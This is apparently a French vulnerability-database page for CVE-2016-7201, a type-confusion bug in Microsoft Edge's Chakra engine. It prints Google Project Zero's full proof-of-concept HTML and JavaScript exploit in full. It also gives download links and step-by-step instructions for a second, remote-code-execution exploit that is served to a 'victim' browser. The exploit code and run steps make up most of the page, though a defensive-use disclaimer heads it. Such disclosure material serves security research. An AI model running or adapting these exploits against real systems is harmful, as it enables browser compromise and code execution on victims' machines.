Exploit matérialisé

CVE-2016-7201

HIGH KEV

2 exploit(s) public(s) pour cette CVE, 2 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB dos windows Vérifié

Source

Microsoft Edge - 'FillFromPrototypes' Type Confusion

Par Google Security Research

Comment tester cet exploit

Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.

Code html

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=945

JavascriptArray::FillFromPrototypes is a method that is used by several Javascript functions available in the browser to set the native elements of an array to the values provide by its prototype. This function calls JavascriptArray::ForEachOwnMissingArrayIndexOfObject with the prototype of the object as a parameter, and if the prototype of the object is an array, it assumes that it is a Var array. While arrays are generally converted to var arrays if they are set as an object's prototype, if an object's prototype is a Proxy object, it can return a parent prototype that is a native int array. This can lead to type confusing, allowing an integer to be treated as an absolute pointer, when JavascriptArray::FillFromPrototypes is called. A minimal PoC is as follows, and a full PoC is attached.

var a = new Array(0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x12121212, 0x23232323, 0x12345670, 0x7777);

var handler = {
    getPrototypeOf: function(target, name){
	return a;
    }
};

var p = new Proxy([], handler);
var b = [{}, [], "natalie"];

b.__proto__ = p;
b.length = 4;

a.shift.call(b);
 // b[2] is type confused
-->

<html>
<body>
<script>

var a = new Array(0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x12121212, 0x23232323, 0x12345670, 0x7777);

var handler = {
    getPrototypeOf: function(target, name){
       // print("get proto");
	return a;
    }
};

var p = new Proxy([], handler);
var b = [{}, [], "natalie"];

b.__proto__ = p;
b.length = 4;

a.shift.call(b);
print(a.shift.call(b[2]));

</script>
</body>
</html>

ExploitDB remote windows

Source

Microsoft Edge (Windows 10) - 'chakra.dll' Information Leak / Type Confusion Remote Code Execution

Par Brian Pak

Comment tester cet exploit

Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.

Code txt

Source: https://github.com/theori-io/chakra-2016-11

Proofs of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40990.zip


chakra.dll Info Leak + Type Confusion for RCE

Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201)

Tested on Windows 10 Edge (modern.ie stable).

FillFromPrototypes_TypeConfusion.html: WinExec notepad.exe

FillFromPrototypes_TypeConfusion_NoSC.html: 0xcc (INT 3)

To run:

Download exploit/FillFromPrototypes_TypeConfusion.html to a directory.
Serve the directory using a webserver (or python's simple HTTP server).
Browse with a victim IE to FillFromPrototypes_TypeConfusion.html.